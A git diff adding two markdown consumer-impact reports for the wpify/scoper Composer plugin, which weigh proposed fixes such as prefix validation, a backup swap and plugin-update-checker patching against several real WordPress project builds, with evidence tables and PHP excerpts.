+`SimplePie*` names; every WooCommerce alias is namespaced under +`Automattic\WooCommerce\…` and every global enum is namespaced, so both are already +covered by `exclude-namespaces`. + +Measured against all four builds: + +- **Exact classmap collisions with the newly-excluded classes: 0** in every project. +- **H1-mangle risk from the new short names: 0** in every project. Notably + `wpify/snippets/src/SMTP.php` declares `…\Wpify\Snippets\SMTP` + (`autoload_classmap.php:1267` → `'DelifeDeps\\Wpify\\Snippets\\SMTP'`), i.e. it is + namespaced, so the search needle `\Prefix\SMTP` cannot reach it. Same for + `CustomSMTP` and for `use PHPMailer\PHPMailer\PHPMailer` in `CustomSMTP.php:5`. +- **No `SODIUM_*` reference anywhere** in any of the four scoped trees. +- **No reference to any of the 18 function-body symbols.** + +**Ordering constraint (flagged, not blocking):** `SMTP`, `SimplePie` and `PHPMailer` are +short, generic, root-level class names. Landing H16 **before** H1 widens the unanchored +str_replace surface. Land H1 first, or together. + +`F18` (dropping 28 wp-cli test-suite symbols such as `Requests`, `UtilsTest`, +`ProcessTest`, `WP_CLI\Tests\CSV`) — none is referenced in any of the four scoped trees. + +**Verdict H16: SAFE for all four.** Caveat: a sibling agent's `scratchpad/new/` symbol +snapshot turned out to be a byte-identical copy of the repo's shipped `symbols/*.php` +(verified with `cmp`), so it could not be used as a regenerated ground truth. My H16 +analysis is therefore driven by the deltas documented in `03-symbols-and-scoper-config.md` +plus my own extraction from `sources/`, not by a real regenerated list. **If an actual +regenerated list lands, re-run `scratchpad/B_h16impact.php` against it** — that is the +one item here I could not verify end-to-end. + +--- + +## 5. Item-by-item + +### C4 — bump `require.php` to `^8.2` → **SAFE ×4** + +The PHP that runs the *tool* (not `config.platform.php`, which only constrains scoped +resolution): + +| context | PHP | evidence | +|---|---|---| +| CI, all four | **8.3.13** | `image: composer:2.8.2`; `docker run --entrypoint php composer:2.8.2 -v` | +| sdcentral `test:php` | 8.3 | `sdcentral/.gitlab-ci.yml:43` `php:8.3-cli-bookworm` | +| local host | 8.4.20 | `php -v` (this is where `~/.composer` lives) | +| DDEV web container | 8.3 | `php_version: "8.3"` in all four `.ddev/config.yaml` | + +Nothing runs on 8.1. `config.platform.php` is `8.3` (delife, stavbadesign, wpify-website, +sdcentral) — distinct from the above and unaffected. + +### C5 — fail fast on missing/invalid prefix → **BREAKING ×4 unless scoped** + +Prefixes are all present and legal PHP namespace segments: `DelifeDeps`, +`StavbadesignDeps`, `WpifyDeps`, `SDCentralDeps`. Extra keys used across the cluster — +`prefix`, `folder`, `globals`, `composerjson`, `composerlock`, `autorun` +(`sdcentral/composer.json` `extra.wpify-scoper.autorun: true`) — are all recognised keys, +so a strict unknown-key rejection is fine **provided `autorun` and `temp` are on the +allow-list**. + +**The breakage is elsewhere.** Because the plugin is global, `execute()` runs for projects +that have *no* `extra.wpify-scoper` at all, and the silent return at `src/Plugin.php:127` +is what keeps them working. Confirmed empirically (§0). If a missing prefix becomes a hard +error: + +1. `composer global require wpify/scoper` — present in **all four** CI pipelines + (`delife:56`, `stavbadesign:60`, `wpify-website:68`, `sdcentral:34` and `:67`) — + dispatches `post-update-cmd` in `COMPOSER_HOME`, whose `composer.json` has no + `extra`. The CI job fails on the line that installs the tool. +2. Every other Composer project on a developer machine with the global install starts + erroring. +3. The **nested** install (temp `source/composer.json`, no `extra`) fails too — which + breaks scoping itself. + +**Required scoping: error only when the `extra.wpify-scoper` key is present but `prefix` +is missing/empty/invalid. Absence of the whole key must remain a silent no-op.** +`autorun: false` is not a substitute — you cannot put it in `COMPOSER_HOME/composer.json` +for every project on the machine. + +### C3 — atomic swap via `.bak` sibling → **SAFE ×4** (one housekeeping note) + +`folder` is `web/app/deps` in all four — **not** inside `vendor/`. Backup would land at +`web/app/deps.bak`, inside the Bedrock content dir but outside `plugins/`, `mu-plugins/` +and `themes/`, so WordPress never scans it. + +- Same filesystem as the temp dir: temp defaults to `getcwd()/tmp-XXXX` + (`src/Plugin.php:58`), no project overrides `temp`. Both under the project root → no + cross-device `rename()`. DDEV mounts the whole project as one volume; Composer here runs + on the host anyway (`~/.composer`). +- CI artifacts list `web/app/deps` explicitly (`delife/.gitlab-ci.yml:44-48`); deploy + rsyncs an explicit path list (`delife/.gitlab-ci.yml:81-96`) — `deps.bak` is in neither. +- **Note:** `deps.bak` is *not* covered by any of the four `.gitignore` files — + delife ignores `web/app/deps/*` (`.gitignore:13`), the others ignore `web/app/deps` + (stavbadesign:11, wpify-website:16, sdcentral:8). `git check-ignore -v web/app/deps.bak` + returns nothing in all four. A crash mid-swap leaves an untracked ~36 MB tree in + `git status`. Cosmetic; either name it `.deps.bak` (dot-prefixed) or clean it in a + `finally`. + +### C2 — `is_link()` guard in `remove()` → **SAFE ×4** + +- `find web/app/deps -type l` → **0 symlinks** in all four, full depth. +- `web/app/deps` is itself a real directory in all four (`ls -ld`). +- **No `repositories` block at all** in any of the four `composer-deps.json` — so no + `path` repository and no Composer-created symlink inside the scoped tree. +- delife's *outer* `composer.json:32-35` does have a `path` repository + (`lib/graphql-php`), but that produces a symlink under `vendor/`, which + `scripts/postinstall.php` never touches (it only removes `$deps`, `$temp` and the + `composer-deps.lock` file). +- No leftover `tmp-*` directories in any project (delife's `tmp/` and `tmp-tests/` are + hand-made scratch dirs with unrelated content, not scoper temp dirs). + +### C1 + M4 — subprocess, exit-code propagation, re-entrancy guard, `--no-plugins` → **SAFE ×4, with one ordering constraint** + +- **No Composer plugin in any scoped set.** Parsed all four `composer-deps.lock`: zero + packages of type `composer-plugin`/`composer-installer`. Package lists: delife 35, + wpify-website 21, sdcentral 16, stavbadesign 14 — all plain libraries + (php-di, twig, guzzle, phpspreadsheet, libphonenumber, ramsey/uuid, wpify/*). + delife's `composer-deps.json` `config.allow-plugins` names four installers, but none is + actually required. **`--no-plugins` on the nested install is safe.** +- **`--no-scripts` must NOT be added** — the nested `post-install-cmd` is what runs + php-scoper, `dump-autoload` and `postinstall.php` (`src/Plugin.php:169-173`). +- **Exit codes:** none of the four has a `post-install-cmd`/`post-update-cmd` in its own + `scripts` that would be skipped by the current `exit()`. delife's + `post-autoload-dump: php composer.postinstall.php` fires *before* `post-install-cmd`, + so it already runs. No CI step depends on `composer install` exiting 0 while scoping + fails — the current `Application::run()` already propagates the nested code via + `autoExit`. +- **Ordering constraint (repeat of C5):** if C5 lands without `--no-plugins` **or** the + M4 re-entrancy guard, the nested install (no `extra`) hard-fails and scoping breaks for + all four. Same for H17: with a re-entrancy path into `createScoperConfig()`, + `require_once` returns `true` and `src/Plugin.php:215` `exit;` fires silently. + +### H7 — make `--no-dev` reachable → **SAFE ×4 (no-op)** + +`packages-dev` is **empty** in all four `composer-deps.lock`, and none of the four +`composer-deps.json` has a `require-dev` block. Nothing disappears. Honouring the outer +run's dev mode is likewise a no-op even though all four CI pipelines pass `--no-dev` to +the outer install. + +### H14 / H15 — `plugin-update-checker` → **not applicable ×4** + +- `plugin-update-checker` is not in any project's `globals` (three use the default + `[wordpress, woocommerce, action-scheduler, wp-cli]`; sdcentral uses `["wordpress"]`). +- `yahnis-elsts/plugin-update-checker` appears in **none** of the four + `composer-deps.lock` files. +- No occurrence of `Puc_v4`, `YahnisElsts` or `plugin-update-checker` in any project's + `src/`, `config/` or `mu-plugins/` (grep, excluding `deps/`). + +Dropping the built-in list entirely is invisible to this cluster. + +### M3 — stop writing generated `scripts` into `composer-deps.json` → **SAFE ×4** + +None of the four `composer-deps.json` contains a `scripts` block. Reading +`src/Plugin.php:169-175`, the generated scripts are written to +`path($source, 'composer.json')` — the *temp* copy — not back to the project file, so +there is nothing to lose. Confirmed empirically: `git status --porcelain +composer-deps.json composer-deps.lock scoper.custom.php` is **clean** in all four despite +recent builds, and no `composer-deps.lock` contains a host path or a `tmp-` fragment +(`grep -c '/Users/\|/builds/\|tmp-'` → 0 ×4). `composer-deps.json` is committed in all +four and does not churn. + +### M15 — validate `globals` entries → **SAFE ×4** + +sdcentral's `["wordpress"]` maps to `symbols/wordpress.php`, which exists. The other three +do not set `globals` and take the default. No invalid names anywhere. (See §3 for the +separate observation that sdcentral's list is *valid but incomplete*.) + +### delife's three worktrees → **SAFE** + +`.worktrees/{b2b-api-integration,openrouter-migration,redesign-2026}` each hold a full +checkout with its own `composer.json` (all three: `prefix: DelifeDeps`, +`folder: web/app/deps`), its own `composer-deps.json`/`.lock`, its own built +`web/app/deps`, and its own byte-identical `scoper.custom.php`. + +- Temp dir is `getcwd()/tmp-<10 random chars>`, so a build in a worktree stays inside that + worktree; no shared temp path, no cross-worktree collision, same filesystem as its own + `deps/`. +- `getcwd()` inside a worktree is the worktree root, so H18's project-root resolution + (and the current `getcwd()` behaviour) finds the worktree's own `scoper.custom.php`. +- `.worktrees/` is gitignored in the main repo (`delife/.gitignore:60`), so a stray + `deps.bak` under a worktree is invisible to the main checkout. +- The php-scoper `Finder` only scans `$source/vendor` (`config/scoper.inc.php:25-33`), so + the presence of `.worktrees/` inside the project root does not enlarge any scan. + +--- + +## 6. Verdict table + +| Item | delife | stavbadesign | wpify-website | sdcentral | +|---|---|---|---|---| +| **C4** bump `require.php` to `^8.2` | SAFE | SAFE | SAFE | SAFE | +| **C5** fail fast on missing/invalid prefix | **BREAKING** ¹ | **BREAKING** ¹ | **BREAKING** ¹ | **BREAKING** ¹ | +| **C3** atomic `.bak` swap | SAFE ² | SAFE ² | SAFE ² | SAFE ² | +| **C2** `is_link()` guard in `remove()` | SAFE | SAFE | SAFE | SAFE | +| **C1+M4** subprocess / exit code / re-entrancy / `--no-plugins` | SAFE ³ | SAFE ³ | SAFE ³ | SAFE ³ | +| **H1** anchored prefix-stripping | SAFE ⁴ | SAFE ⁴ | SAFE ⁴ | SAFE ⁴ | +| **H2** narrow `autoload_static` rewrite to `$files` | SAFE | SAFE | SAFE | SAFE | +| **H7** reachable `--no-dev` | SAFE (no-op) | SAFE (no-op) | SAFE (no-op) | SAFE (no-op) | +| **H14/H15** plugin-update-checker | n/a | n/a | n/a | n/a | +| **H16** regenerated symbol lists | SAFE ⁵ | SAFE ⁵ | SAFE ⁵ | SAFE ⁵ | +| **H18** `scoper.custom.php` discovery | SAFE ⁶ | n/a (no custom file) | n/a | n/a | +| **M3** stop writing generated `scripts` | SAFE | SAFE | SAFE | SAFE | +| **M15** validate `globals` | SAFE | SAFE | SAFE | SAFE ⁷ | +| *(pre-existing, not a proposed change)* incomplete `globals` | — | — | — | **BROKEN TODAY** ⁸ | + +¹ Breaks **only if** the error also fires when `extra.wpify-scoper` is entirely absent. + The plugin is global and runs for every project, including `COMPOSER_HOME` during + `composer global require wpify/scoper` (present in all four CI pipelines) and the nested + scoped install. Scope the validation to "key present but `prefix` bad" → then SAFE ×4. +² Leftover `web/app/deps.bak` is not gitignored in any of the four; cosmetic only. +³ Conditional on landing with C5's scoping (or the M4 guard / `--no-plugins`), and on not + adding `--no-scripts`. +⁴ Conditional on boundary-anchoring (allow `\` and `::` continuation; longest-namespace- + prefix lookup), not whole-string equality. Case-insensitivity measured: 0 change. +⁵ Land H1 first or together — H16 introduces the short root-level names `SMTP`, + `SimplePie`, `PHPMailer`. Verified 0 collisions and 0 mangle risk in all four builds. + Not verified against an actual regenerated list (none available); see §4. +⁶ Currently applied (proven by path arithmetic), and inert in the output (proven by + cross-project diff). No change either way. +⁷ `["wordpress"]` is a *valid* name, so M15 passes it. M15 would not catch ⁸. +⁸ 14 WooCommerce / ActionScheduler / WP-CLI symbols wrongly prefixed in sdcentral's built + `deps/`. Pre-existing; fix is a project-side `globals` change. diff --git a/docs/improvements/consumers/C-plugin-update-checker-group.md b/docs/improvements/consumers/C-plugin-update-checker-group.md new file mode 100644 index 0000000..f99f9c0 --- /dev/null +++ b/docs/improvements/consumers/C-plugin-update-checker-group.md @@ -0,0 +1,504 @@ +# Consumer impact — group C: the `plugin-update-checker` cluster + +Projects: `mawis`, `wpify-woo-dognet`, `wpify-woo-filters`. +All three set `extra.wpify-scoper.globals = ["wordpress","woocommerce","plugin-update-checker"]` +and all three ship a `scoper.custom.php`. + +**Method.** Read-only. Nothing in the three project trees was modified, and no +`composer` command was run against them. Scratch scripts live in +`…/scratchpad/{h1check,h1h16,h1regress,h1regress2,verify,final}.php`. + +**Two pieces of luck made this verifiable rather than speculative:** + +1. `mawis` has a **committed, built `deps/`** at `/Users/wpify/projects/mawis/deps` + (42 scoped packages, built 2026-07-17). +2. Built `deps/` for **both** `wpify-woo-dognet` and `wpify-woo-filters` exist as + installed plugins inside an unrelated project's worktree: + - `/Users/wpify/projects/delife/.worktrees/redesign-2026/web/app/plugins/wpify-woo-dognet/deps` + - `/Users/wpify/projects/delife/.worktrees/redesign-2026/web/app/plugins/wpify-woo-filters/deps` + + These carry the `WpifyWooDognetDeps` / `WpifyWooFiltersDeps` prefixes, i.e. they are + genuine CI output for these two plugins. Every claim below about "what the tool + actually produces" is read off those trees, not inferred. + +**Which version of the tool built them.** All three projects rely on a **global** +install: `/Users/wpify/.composer/vendor/wpify/scoper`, version **3.2.21** +(`/Users/wpify/.composer/vendor/composer/installed.json`). None has `wpify/scoper` in +its own `require`/`require-dev`, and no `vendor/wpify/scoper` exists in any of them. +`src/Plugin.php` and `scripts/postinstall.php` in that global install are **byte-identical** +to the audited `master` checkout, so findings transfer directly. + +--- + +## 1. The plugin-update-checker question (H14 / H15) — **the headline** + +### 1.1 What each project actually requires + +| project | PUC in `composer-deps.json`? | PUC in `composer-deps.lock`? | resolved | how it arrives | +|---|---|---|---|---| +| `mawis` | no | **no — absent entirely** | — | — | +| `wpify-woo-dognet` | no (transitive) | **yes** | `dev-master` @ `288f270d` | `wpify/updates ^1` → `yahnis-elsts/plugin-update-checker: dev-master` | +| `wpify-woo-filters` | no (transitive) | **yes** | `dev-master` @ `299a8698` | same | + +Evidence: `wpify-woo-dognet/composer-deps.lock` and `wpify-woo-filters/composer-deps.lock`, +package `wpify/updates` 1.0.2 — `"require": {"yahnis-elsts/plugin-update-checker": "dev-master"}`. + +Both locked PUC entries autoload **`load-v5p6.php`** — i.e. **PUC v5p6**, fully namespaced +(`YahnisElsts\PluginUpdateChecker\v5p6\…`). Not v4, not v5p7. + +**No project anywhere references `Puc_v4p11_*` or `Puc_v4_*`.** The only PUC-adjacent +first-party code is: + +- `wpify-woo-dognet/src/Plugin.php:5` — `use WpifyWooDognetDeps\Wpify\Updates\Updates;` +- `wpify-woo-filters/src/Plugin.php:5` — `use WpifyWooFiltersDeps\Wpify\Updates\Updates;` + +i.e. they never touch PUC directly; they go through `wpify/updates`, whose entire body is: + +```php +// deps/wpify/updates/src/Updates.php (scoped) +use WpifyWooFiltersDeps\YahnisElsts\PluginUpdateChecker\v5\PucFactory; +… +$url = sprintf('https://wpify.io/?update_action=get_metadata&update_slug=%s&site_url=%s', …); +PucFactory::buildUpdateChecker($url, $this->plugin_file, $this->plugin_slug); +``` + +The metadata URL is a plain JSON endpoint on `wpify.io` — **not** GitHub/GitLab/BitBucket. +That detail decides everything below. + +### 1.2 Is PUC working today? **Yes — and the audit's F3 is wrong about why** + +Finding F3 (`03-symbols-and-scoper-config.md:687-744`) says the patcher at +`config/scoper.inc.php:75-77` "is actively fatal on v5": it rewrites +`$checkerClass = $type` to `$checkerClass = "Prefix\\".$type`, producing +`Prefix\Plugin\UpdateChecker`, which F3 claims is *not* a key in +`PucFactory::$classVersions` → `getCompatibleClassVersion()` returns `null` → +`trigger_error(…, E_USER_ERROR)`. + +**That reasoning omits one step.** php-scoper *also* prefixes the string-literal keys in +`load-v5pX.php`. Upstream, unscoped +(`/Users/wpify/projects/scoper/vendor/yahnis-elsts/plugin-update-checker/load-v5p7.php:16-27`): + +```php +foreach (array( + 'Plugin\\UpdateChecker' => Plugin\UpdateChecker::class, + 'Theme\\UpdateChecker' => Theme\UpdateChecker::class, + 'Vcs\\PluginUpdateChecker' => Vcs\PluginUpdateChecker::class, + 'Vcs\\ThemeUpdateChecker' => Vcs\ThemeUpdateChecker::class, + 'GitHubApi' => Vcs\GitHubApi::class, + … +) as $pucGeneralClass => $pucVersionedClass) { + MajorFactory::addVersion($pucGeneralClass, $pucVersionedClass, '5.7'); +``` + +In the real scoped output +(`…/wpify-woo-filters/deps/yahnis-elsts/plugin-update-checker/load-v5p6.php:12`): + +```php +foreach (array('WpifyWooFiltersDeps\Plugin\UpdateChecker' => Plugin\UpdateChecker::class, + 'WpifyWooFiltersDeps\Theme\UpdateChecker' => Theme\UpdateChecker::class, + 'WpifyWooFiltersDeps\Vcs\PluginUpdateChecker' => …, + 'WpifyWooFiltersDeps\Vcs\ThemeUpdateChecker' => …, + 'GitHubApi' => …, 'BitBucketApi' => …, 'GitLabApi' => …) as …) +``` + +php-scoper's `StringScalarPrefixer` prefixed every key containing a namespace separator +and left the single-segment ones (`GitHubApi`, …) alone. + +And in the same build, +`…/deps/yahnis-elsts/plugin-update-checker/Puc/v5p6/PucFactory.php:81`: + +```php +$checkerClass = "WpifyWooFiltersDeps\\".$type . '\UpdateChecker'; // → WpifyWooFiltersDeps\Plugin\UpdateChecker +``` + +**The registry key and the lookup key match exactly.** The `:75-77` patcher is not a bug — +it is the *compensation* for php-scoper's string-literal prefixing of `load-v5pX.php`. +Remove the patcher and the lookup becomes `Plugin\UpdateChecker` while the registry key +stays `Prefix\Plugin\UpdateChecker` → `null` → **that** is when `E_USER_ERROR` fires. + +Reproduced identically in **three independent builds**: + +| build | `PucFactory.php:81` | `load-v5p6.php:12` first key | +|---|---|---| +| `wpify-woo-filters/deps` | `"WpifyWooFiltersDeps\\".$type . '\UpdateChecker'` | `'WpifyWooFiltersDeps\Plugin\UpdateChecker'` | +| `wpify-woo-dognet/deps` | `"WpifyWooDognetDeps\\".$type . '\UpdateChecker'` | `'WpifyWooDognetDeps\Plugin\UpdateChecker'` | +| `mawis/web/app/plugins/rosettapress/vendor/rosettapress-deps` | `"RosettaPressDeps\\".$type . '\UpdateChecker'` | `'RosettaPressDeps\Plugin\UpdateChecker'` | + +The same mechanism applies to v5p7 — `PucFactory.php:99` and `load-v5p7.php` have the same +shape as v5p6. + +**One real half-bug that F3 did not catch.** The patcher only matches the literal +`$checkerClass = $type`, so the VCS branch two lines down is left alone: + +```php +// PucFactory.php:84 (scoped, unchanged) +$checkerClass = 'Vcs\\' . $type . 'UpdateChecker'; // → 'Vcs\PluginUpdateChecker' +// registry key is 'WpifyWooFiltersDeps\Vcs\PluginUpdateChecker' → MISS → E_USER_ERROR +``` + +So **GitHub/GitLab/BitBucket-hosted update checking is genuinely broken in every scoped +build**, while JSON-metadata checking works. Neither of these projects uses the VCS path +(`wpify/updates` always passes a `wpify.io` JSON URL), so it does not bite them. + +### 1.3 What `symbols/plugin-update-checker.php` contributes today + +Nothing. It supplies 33 `Puc_v4p11_*` names under `expose-classes`. Verified on the built output: + +- `grep -c "Puc_" deps/scoper-autoload.php` → **0** — no exposure aliases were emitted + (and `postinstall.php` comments out `humbug_phpscoper_expose_*` anyway: 86 lines are + commented in that file). +- No `Puc_v4*` class exists in any locked package. + +Because `wordpress` + `woocommerce` are also in `globals`, `exclude-classes` and +`exclude-namespaces` are non-empty, so **F5's `TypeError` is not reachable** for any of +these three. Merged config: `exclude-classes=1064`, `exclude-namespaces=200`. + +### 1.4 Verdict on dropping built-in PUC support + +The proposal has two separable halves. They have **opposite** risk profiles. + +| sub-change | mawis | dognet | filters | +|---|---|---|---| +| Delete `symbols/plugin-update-checker.php` + the `globals` branch at `src/Plugin.php:230-235` | **SAFE** | **SAFE** | **SAFE** | +| Delete the dead v4p11 patcher `scoper.inc.php:48-50` | **SAFE** | **SAFE** | **SAFE** | +| Delete the `$checkerClass = $type` patcher `scoper.inc.php:75-77` | **SAFE** (no PUC in deps) | **BREAKING** | **BREAKING** | + +**Deleting `scoper.inc.php:75-77` breaks `wpify-woo-dognet` and `wpify-woo-filters`.** +Exact failure: on every admin page load, `Wpify\Updates\Updates::init_udates_check()` +(hooked to `init`) calls `PucFactory::buildUpdateChecker()`; `getCompatibleClassVersion('Plugin\UpdateChecker')` +returns `null`; `PucFactory.php:89-90` fires `trigger_error(…, E_USER_ERROR)` — a **fatal**, +white-screening the site. Every WPify plugin that depends on `wpify/updates` is affected, +which from the evidence on disk is most of the fleet (`wpify-woo-gopay`, `rosettapress`, +`wpify-woo-conditional-shipping`, `wpify-woo-phone-validation`, `wpify-woo-zbozi-conversions`, +`wpify-woo-feeds`, `wpify-woo-fakturoid` all ship the same `load-v5p6.php`). + +**Recommendation.** Drop the symbol file and the `globals` key (dead weight, and the +`expose-classes` key is genuinely wrong). **Keep the `$checkerClass` patcher**, and fix it +properly rather than deleting it — the right change is to also handle the VCS branch: + +```php +if ( strpos( $filePath, 'yahnis-elsts/plugin-update-checker' ) !== false ) { + $content = str_replace( '$checkerClass = $type', '$checkerClass = "' . $prefix . '\\\\".$type', $content ); + $content = str_replace( "\$checkerClass = 'Vcs\\\\'", "\$checkerClass = '" . $prefix . "\\\\Vcs\\\\'", $content ); +} +``` + +That turns a currently-half-working integration into a fully working one and costs nothing. +If the maintainer still wants PUC out of the core tool, it must move to the F11 +user-patcher mechanism **in the same release**, and `wpify/updates` (or every consumer's +`scoper.custom.php`) must carry the patcher — otherwise this is a fleet-wide fatal. + +--- + +## 2. `scoper.custom.php` and H18 + +### 2.1 H18 as stated does not reproduce — the custom file **is** being applied + +`Plugin::createPath()` (`src/Plugin.php:268-276`) gates on: + +```php +$vendor = strpos( dirname( __DIR__ ), 'vendor' . DIRECTORY_SEPARATOR . 'wpify' . DIRECTORY_SEPARATOR . 'scoper' ); +``` + +For the global install `dirname(__DIR__)` is `/Users/wpify/.composer/vendor/wpify/scoper`, +which **does** contain the literal `vendor/wpify/scoper`. Composer's global install still +lays packages out under `$COMPOSER_HOME/vendor/`, so the substring matches and +`createPath(['scoper.custom.php'], true)` correctly returns `getcwd().'/scoper.custom.php'`. + +**Empirically confirmed** with an unambiguous marker. `mawis/scoper.custom.php:24-33` +flips `protected $client` → `public $client` in exactly four Raynet SDK classes: + +| class | `mawis/deps/wpify/raynet-api-php-sdk/lib/Api/…` line 52 | named in `scoper.custom.php`? | +|---|---|---| +| `KlientiApi` | `public $client;` | yes | +| `KontaktnOsobyApi` | `public $client;` | yes | +| `SelnkyApi` | `public $client;` | yes | +| `ObchodnPpadyApi` | `public $client;` | yes | +| `ProduktApi` | `protected $client;` | **no (control)** | +| `AktivityApi` | `protected $client;` | **no (control)** | +| `WebhookApi` | `protected $client;` | **no (control)** | +| `DiskuzeApi` | `protected $client;` | **no (control)** | + +A perfect split along the list in `scoper.custom.php`. The customization is live. + +Corroborating: `mawis/deps/league/oauth2-client/src/Grant/GrantFactory.php:64` reads +`$class = '\MawisDeps\League\OAuth2\Client\Grant\\' . $class;` — the leading-backslash form +that only the custom patcher (`mawis/scoper.custom.php:5-11`) produces; the built-in +patcher at `scoper.inc.php:71-73` emits it without the leading backslash. + +**Verdict: H18 is a real code smell but not a live defect for these three.** It would bite +only an install layout where the package path lacks `vendor/wpify/scoper` (a `path` +repository, a git clone symlinked in, a phar). Fixing it is **SAFE** here — the behaviour +it would "start" is already happening. + +### 2.2 What each custom file patches, and whether it does anything + +**`mawis/scoper.custom.php`** — 4 patches, **3 live, 1 dead**: + +| lines | patch | status | +|---|---|---| +| `:5-11` | `'League\OAuth2\Client\Grant\\'` → `'\MawisDeps\…'` | **live** (see `GrantFactory.php:64`) | +| `:13-16` | `'\\RaynetApiClient\\Model` → `'\\MawisDeps\\RaynetApiClient\\Model`; ` \RaynetApiClient` → ` \MawisDeps\RaynetApiClient` | **live** (raynet SDK is in `deps/wpify/raynet-api-php-sdk`) | +| `:18-29` | `protected $client` → `public $client` ×4 | **live** (table above) | + +Note `:5-11` and the built-in `scoper.inc.php:71-73` target the same file. The built-in runs +first (patchers array order), rewriting `League\\OAuth2\\Client\\Grant` → +`MawisDeps\\League\\…`, after which the custom needle `'League\OAuth2\Client\Grant\\'` +(quote-anchored) no longer matches. The observed leading-backslash form comes from +php-scoper's own string-literal prefixing. **Redundant but harmless** — flag for the owner, +do not "fix" as part of this work. + +**`wpify-woo-dognet/scoper.custom.php`** — 1 patch, **currently a no-op**: +strips `WpifyWooDognetDeps\ICL_LANGUAGE_CODE` in files under `woo-core`. Grep of the built +`deps/`: **0** prefixed occurrences; all 4 sites +(`deps/wpify/woo-core/src/Admin/Settings.php:246,248,249`, +`deps/wpify/woo-core/src/Abstracts/AbstractModule.php:25,27`) are already bare, because +`expose-global-constants => false` means php-scoper never prefixes an undeclared global +constant. Harmless insurance. + +**`wpify-woo-filters/scoper.custom.php`** — 2 blocks, **both no-ops**: + +- `:5-9` guards on `strpos($filePath, 'wpify/core')`. The package is `wpify/**woo**-core`; + `'wpify/core'` is **not** a substring of `'wpify/woo-core'`, and no package named + `wpify/core` exists in `composer-deps.lock`. **This branch has never fired.** Its three + replacements (un-prefixing `array_merge`, `wpml_object_id_filter`, `WP_Post`) are + therefore untested; note `array_merge` and `WP_Post` are already handled globally + (`expose-global-functions => false`; `WP_Post` ∈ `exclude-classes`). +- `:11-12` — same `ICL_LANGUAGE_CODE` no-op as dognet. + +### 2.3 Would any custom patcher conflict with the H1 anchored rewrite? + +**No.** H1 replaces the generic un-prefixing block (`scoper.inc.php:79-103`) which lives in +the built-in patcher; `scoper.custom.php` appends *additional* entries to +`$config['patchers']` that run afterwards and are untouched. Checked individually: + +- mawis `RaynetApiClient` — *adds* a prefix; `RaynetApiClient` is not an excluded symbol, so + anchored matching neither strips it before nor after. No interaction. +- mawis `protected $client` — not namespace-related. +- dognet/filters `ICL_LANGUAGE_CODE` — needles are the full constant name, already exact-match + anchored. No interaction. +- filters `wpify/core` block — dead; cannot conflict. + +--- + +## 3. H1 — the one place anchoring costs something + +`mawis`: **SAFE.** A full scan of all 37 534 PHP files in `mawis/deps` for tokens where a +short excluded symbol is a strict prefix of a referenced name found **zero** hits. Its +scoped namespaces (`GuzzleHttp`, `Microsoft`, `OpenTelemetry`, `Ramsey`, `Symfony`, `Brick`, +`Doctrine`, `League`, `Nyholm`, `Psr`, `Http`, `StdUriTemplate`, `RaynetApiClient`, …) collide +with nothing in the 1 264-entry class+namespace exclusion list. Anchoring changes nothing. + +`wpify-woo-dognet` / `wpify-woo-filters`: **NEEDS-MIGRATION.** Both bundle +`woocommerce/action-scheduler` 3.9.3, which has a WP-CLI integration — and **both projects +override `globals` and drop `wp-cli`** (and `action-scheduler`) from the tool's defaults at +`src/Plugin.php:60`. So `WP_CLI` is **not** in the exclusion lists, php-scoper prefixes it, +and the *unanchored* needle `\{prefix}\WP` (from `WP` ∈ `exclude-classes`) strips it back by +accident. Anchoring stops that. Affected sites in `wpify-woo-filters/deps` (dognet identical): + +| currently de-prefixed token | refs | example | +|---|---|---| +| `\WP_CLI` (static calls) | 36 | `woocommerce/action-scheduler/classes/WP_CLI/Action/Get_Command.php:23` | +| `\WP_CLI\Utils\get_flag_value` | 13 | `…/WP_CLI/ActionScheduler_WPCLI_Clean_Command.php:39` | +| `\WP_CLI\ExitException` | 8 | `…/WP_CLI/ActionScheduler_WPCLI_Clean_Command.php:32` (docblock) | +| `\WP_CLI\Formatter` | 7 | `…/WP_CLI/Action/Get_Command.php:33` | +| `\WP_CLI\Utils\make_progress_bar` | 4 | `…/WP_CLI/ProgressBar.php:125` | +| `\WP_CLI_Command` | 2 | `…/WP_CLI/Action_Command.php:8` (`extends`) | +| `\WP_CLI\CommandWithDBObject` | 1 | `…/abstracts/ActionScheduler_WPCLI_Command.php:63` (docblock) | + +Proof php-scoper really did prefix `WP_CLI`: **28 references survive prefixed** in the same +tree, in the two forms the `str_replace` needles cannot reach — +`use function WpifyWooFiltersDeps\WP_CLI\Utils\get_flag_value;` +(`…/Action/Cancel_Command.php:5`, `…/Action/Generate_Command.php:5`, `…/System_Command.php:8`, …) +and `defined('WpifyWooFiltersDeps\WP_CLI')` (`…/ProgressBar.php:60`, `…/Migration_Command.php:33`, +`…/migration/Controller.php:146`, `…/abstracts/ActionScheduler.php:231`). + +**Severity is low in practice, and the reason matters.** +`classes/abstracts/ActionScheduler.php:231` is the command-registration gate: + +```php +if (\defined('WpifyWooFiltersDeps\WP_CLI') && \WP_CLI) { + WP_CLI::add_command('action-scheduler', 'ActionScheduler_WPCLI_Scheduler_command'); + … +} +``` + +`defined('WpifyWooFiltersDeps\WP_CLI')` can never be true, so **Action Scheduler's WP-CLI +commands are already never registered** in these scoped builds. The code H1 would re-prefix +is already unreachable. So H1 does not *newly* break a working feature — it converts a +latent accident into a consistent (still-broken) state. + +**Migration, one line, no tool change:** add `"wp-cli"` to `globals` in +`wpify-woo-dognet/composer.json:20-24` and `wpify-woo-filters/composer.json:36-42`. That puts +`WP_CLI` in `exclude-namespaces`/`exclude-classes`, php-scoper stops prefixing it everywhere +(including `use function` and `defined()` literals), and the integration works for the first +time. Worth doing **before** H1 lands. + +**Recommendation for the tool:** since all three projects drop `wp-cli` and `action-scheduler` +by overriding `globals` wholesale, consider making `globals` *additive* to the defaults, or +warn when a bundled package (action-scheduler) is present but its symbol file is not selected. +That is F11/M15 territory. + +--- + +## 4. H2 — narrow the `autoload_static.php` rewrite to `$files` + +**SAFE for all three.** `postinstall.php:38-44` applies +`/'([[:alnum:]]+)'\s*=>\s*([a-zA-Z0-9 .'"\/\-_]+),/` to the whole file. Measured on the built +output — it only ever hit the `$files` array: + +| project | rewritten keys | all in `$files`? | classmap keys with no `\` | +|---|---|---|---| +| `mawis` | 16 | yes (`mawisdeps5897ea0a…` → `symfony/polyfill-php82/bootstrap.php`, …) | **0** | +| `wpify-woo-dognet` | 3 | yes (incl. `…f6d4f6bc…` → `yahnis-elsts/plugin-update-checker/load-v5p6.php`) | **0** | +| `wpify-woo-filters` | 3 | yes | **0** | + 